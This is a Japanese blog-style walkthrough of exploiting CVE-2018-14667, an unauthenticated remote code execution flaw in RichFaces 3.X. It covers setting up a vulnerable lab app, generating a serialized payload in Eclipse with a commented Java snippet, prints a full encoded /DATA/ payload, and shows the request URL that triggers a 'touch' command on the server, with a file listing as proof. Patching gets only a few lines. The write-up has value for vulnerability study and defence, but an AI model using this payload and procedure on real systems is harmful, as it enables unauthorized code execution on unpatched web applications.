このCVEを理解し、正しく悪用するために多くの時間を費やした後、RichFaces 3.X RCEバグに関するリポジトリを構築し、そのHOWTOをコミュニティと段階的に共有することにしました。
0x00 : RichFaces 3.X バグの概要
11月19日月曜日、Joao F M Figueiredo 氏は、重大な高リスクのRichFaces脆弱性に関する詳細な記事(https://seclists.org/fulldisclosure/2018/Nov/47)を公開しました。
CVSS3 ベーススコア 9.8
この脆弱性により、認証されていない任意のユーザーが、RichFaces 3.X(全バージョン)を使用している任意のWebアプリケーションでリモートコード実行を行えるようになります。これはほぼ最悪のケースです。
0x01 : 自分は影響を受けていますか? ![]()
もしあなたがRichFaces 3.X(RichFaces 3の任意のバージョン)を実行していて、ソースに以下のコードが含まれているなら、CVE-2018-14667のリモートコード実行に対して脆弱である可能性が高いでしょう:
0x02 : 脆弱な環境を実行してバグをテストする ![]()
ここでは、seclists.orgの記事で既に説明されている、脆弱な環境をデプロイする方法について基本的に再度説明します。
0x03 : 有効なペイロードの生成 ![]()
さて、ここからが楽しい部分です! ここで私は困難を経験したので、有効なペイロードを生成する方法を、私が犯した同じエラーを繰り返さないように詳しく説明します。まず、ペイロードをコンパイルするためにEclipseを使用することをお勧めします。
// Class clazz = Class.forName("javax.el.MethodExpression");
// Field field = clazz.getField("serialVersionUID");
// field.setAccessible(true);
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setLong(null, MethodExpressionSerialVersionUID);
Eclipseでの出力結果は次のようになるはずです:
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
0x04 : ペイロードを送信してリモートコード実行を取得する ![]()
ブラウザで、PhotoAlbum Webアプリケーションを実行しているローカルJBossサーバー http://192.168.100.2:8080/photoalbum に移動し、右クリックしてページのソースを表示します。Ctrl+F を押して '/DATA/' を検索してください。次のようなものが見つかるはずです:
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip"
シリアライズされたオブジェクトがはっきりと確認できます。ここで、シリアライズされたオブジェクトをペイロードに置き換えて、リモートコード実行を取得します。ブラウザでURLを http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE に変更します。私のペイロードは 'touch /tmp/PoorRichFaces' というコマンドを実行するものでした。成功したかどうか見てみましょう:
drwxrwxrwt 12 root root 32768 Nov 30 01:45 .
drwxr-xr-x 25 root root 4096 Nov 25 12:57 ..
-rw-rw-r-- 1 syrius syrius 0 Nov 30 1:27 PoorRichFaces
気分がいいでしょう? 私たちはRichFaces 3.Xを実行しているJava WebアプリケーションでRCEを取得しました。
0x05 : パッチ適用方法は? ![]()
この事実を気に入らないかもしれませんが、心の準備をしてキーボードにしがみついていてください。RichFacesは製品サポートの寿命を迎えたため、ユーザー(あなた)は独自のパッチを適用する必要があります。パニックにならないでください。パッチの方法が見つからない場合は、遠慮なく私に連絡してください。あなたのJava Webアプリケーションにパッチを適用する取り決めをすることができます。
E-mail: [email protected]